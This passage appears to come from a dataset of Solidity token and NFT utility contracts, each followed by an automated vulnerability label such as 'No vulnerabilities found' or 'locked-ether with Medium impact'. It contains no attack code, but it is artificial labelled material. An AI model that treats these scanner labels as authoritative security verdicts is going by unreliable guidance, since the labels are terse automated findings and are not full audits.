function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract BOO is ERC20, ERC20Detailed {
constructor() public ERC20Detailed("BOO Finance","BOO",18) {
_mint(msg.sender, 10000 * 10 ** 18);
}
} | No vulnerabilities found |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _value The amount of tokens to send.
*/
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 500);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
require (_receivers[i] != 0x0);
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
emit Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _values The array of amount to send.
*/
function batchTransferValues(address[] _receivers, uint256[] _values) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
require(cnt == _values.length);
require(cnt > 0 && cnt <= 500);
uint256 amount = 0;
for (uint i = 0; i < cnt; i++) {
require (_values[i] != 0);
amount = amount.add(_values[i]);
}
require(balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint j = 0; j < cnt; j++) {
require (_receivers[j] != 0x0);
balances[_receivers[j]] = balances[_receivers[j]].add(_values[j]);
emit Transfer(msg.sender, _receivers[j], _values[j]);
}
return true;
}
/**
* @dev Function to batch freeze accounts
* @param _addresses The addresses that will be frozen/unfrozen.
* @param _freeze To freeze or not.
*/
function batchFreeze(address[] _addresses, bool _freeze) onlyOwner public {
for (uint i = 0; i < _addresses.length; i++) {
frozenAccount[_addresses[i]] = _freeze;
emit FrozenFunds(_addresses[i], _freeze);
}
}
}
contract RichToken is CappedToken, PausableToken {
string public constant name = "Rich";
string public constant symbol = "RICH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EthereumPie is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = unicode"ETHC 🥧";
name = "Ethereum Pie";
decimals = 18;
totalSupply = 1000000000000000*10**uint256(decimals);
maxSupply = 1000000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/NiftyTools.sol
pragma solidity ^0.6.0;
interface IVNFT {
function fatality(uint256 _deadId, uint256 _tokenId) external;
function buyAccesory(uint256 nftId, uint256 itemId) external;
function claimMiningRewards(uint256 nftId) external;
function addCareTaker(uint256 _tokenId, address _careTaker) external;
function careTaker(uint256 _tokenId, address _user)
external
view
returns (address _careTaker);
function ownerOf(uint256 _tokenId) external view returns (address _owner);
function itemPrice(uint256 itemId) external view returns (uint256 _amount);
}
contract NiftyTools is Ownable {
using SafeMath for uint256;
IVNFT public vnft;
IERC20 public muse;
uint256 public maxIds = 20;
uint256 public fee;
address public feeRecipient;
bool paused;
constructor(
IVNFT _vnft,
IERC20 _muse,
uint256 _fee
) public {
vnft = _vnft;
muse = _muse;
fee = _fee;
feeRecipient = msg.sender;
}
modifier notPaused() {
require(!paused, "PAUSED");
_;
}
/**
@notice claim MUSE tokens from multiple vNFTs
@dev contract should be whitelisted as caretaker beforehand
*/
function claimMultiple(uint256[] memory ids) external notPaused {
require(ids.length <= maxIds, "LENGTH");
for (uint256 i = 0; i < ids.length; i++) {
require(vnft.ownerOf(ids[i]) == msg.sender);
vnft.claimMiningRewards(ids[i]);
}
// Charge fees
uint256 feeAmt = muse.balanceOf(address(this)).mul(fee).div(100000);
require(muse.transfer(feeRecipient, feeAmt));
// Send rest to user
require(muse.transfer(msg.sender, muse.balanceOf(address(this))));
}
function _checkAmount(uint256[] memory _itemIds)
public
view
returns (uint256 totalAmt)
{
for (uint256 i = 0; i < _itemIds.length; i++) {
totalAmt = totalAmt.add(vnft.itemPrice(_itemIds[i]));
}
}
/**
@notice feed multiple vNFTs with items/gems
@dev contract should be whitelisted as caretaker beforehand
@dev contract should have MUSE allowance
*/
function feedMultiple(uint256[] memory ids, uint256[] memory itemIds)
external
notPaused
{
require(ids.length <= maxIds, "Too many ids");
uint256 museCost = _checkAmount(itemIds);
require(
muse.transferFrom(msg.sender, address(this), museCost),
"MUSE:Items"
);
uint256 feeAmt = museCost.mul(fee).div(100000);
require(
muse.transferFrom(msg.sender, feeRecipient, feeAmt),
"MUSE:fee"
);
require(muse.approve(address(vnft), museCost), "MUSE:approve");
for (uint256 i = 0; i < ids.length; i++) {
require(vnft.ownerOf(ids[i]) == msg.sender);
vnft.buyAccesory(ids[i], itemIds[i]);
}
}
// OWNER FUNCTIONS
function setVNFT(IVNFT _vnft) public onlyOwner {
vnft = _vnft;
}
function setMaxIds(uint256 _maxIds) public onlyOwner {
maxIds = _maxIds;
}
function setFee(uint256 _fee) public onlyOwner {
fee = _fee;
}
function setFeeRecipient(address _feeRecipient) public onlyOwner {
require(_feeRecipient != address(0));
feeRecipient = _feeRecipient;
}
function setPause(bool _paused) public onlyOwner {
paused = _paused;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'BitcoinPluse' token contract
//
// Deployed to : 0x8Db656ccE982B5A382A72f744Af68164471bB388
// Symbol : BTP
// Name : BitcoinPluse Token
// Total supply: 100000000
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BitcoinPluse is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BitcoinPluse() public {
symbol = "BTP";
name = "BitcoinPluse";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x8Db656ccE982B5A382A72f744Af68164471bB388] = _totalSupply;
Transfer(address(0), 0x8Db656ccE982B5A382A72f744Af68164471bB388, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
